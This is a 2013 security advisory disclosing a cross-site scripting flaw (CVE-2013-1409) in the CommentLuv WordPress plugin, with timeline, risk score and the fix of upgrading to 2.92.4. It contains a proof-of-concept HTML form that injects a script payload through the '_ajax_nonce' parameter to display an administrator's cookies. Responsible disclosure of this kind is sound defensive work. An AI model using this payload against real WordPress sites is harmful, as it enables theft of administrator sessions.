Cross-Site Scripting (XSS) Vulnerability in CommentLuv WordPress Plugin

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Advisory ID: HTB23138
Product: CommentLuv WordPress plugin
Vendor: Andy Bailey
Vulnerable Version(s): 2.92.3 and probably prior
Tested Version: 2.92.3
Vendor Notification: January 16, 2013 
Vendor Patch: January 17, 2013 
Public Disclosure: February 6, 2013 
Vulnerability Type: Cross-Site Scripting [CWE-79]
CVE Reference: CVE-2013-1409
Risk Level: Low 
CVSSv2 Base Score: 2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( 
https://www.htbridge.com/advisory/ ) 

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Advisory Details:

High-Tech Bridge Security Research Lab discovered vulnerability in CommentLuv 
WordPress plugin, which can be exploited to perform Cross-Site Scripting (XSS) 
attacks.


1) Cross-Site Scripting (XSS) in CommentLuv wordpress plugin: CVE-2013-1409

The vulnerability exists due to insufficient filtration of user-supplied data 
in "_ajax_nonce" HTTP POST parameter in the "/wp-admin/admin-ajax.php" script. 
A remote attacker can trick a logged-in administrator to open a specially 
crafted link and execute arbitrary HTML and script code in browser in context 
of the vulnerable website.

PoC (Proof-of-Concept) below uses the "alert()" JavaScript function to display 
administrator's cookies: 


<form action="http://[host]/wp-admin/admin-ajax.php"; method="post" 
name="askform">
<input type="hidden" name="action" value="cl_ajax" />
<input type="hidden" name="do" value="fetch" />
<input type="hidden" name="url" value="1" />
<input type="hidden" name="_ajax_nonce" 
value='<script>alert(document.cookie);</script>'/>
<input type="submit" id="btn">
</form>


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Solution:

Upgrade to CommentLuv 2.92.4

More Information:
http://wordpress.org/extend/plugins/commentluv/changelog/

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References:

[1] High-Tech Bridge Advisory HTB23138 - 
https://www.htbridge.com/advisory/HTB23138 - Cross-Site Scripting (XSS) 
Vulnerability in CommentLuv WordPress Plugin.
[2] CommentLuv - http://www.commentluv.com/ - CommentLuv is a popular WordPress 
plugin that will magnetize your readers, socialize your comments and viralize 
your posts.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - 
international in scope and free for public use, CVE® is a dictionary of 
publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to 
developers and security practitioners, CWE is a formal list of software 
weakness types. 

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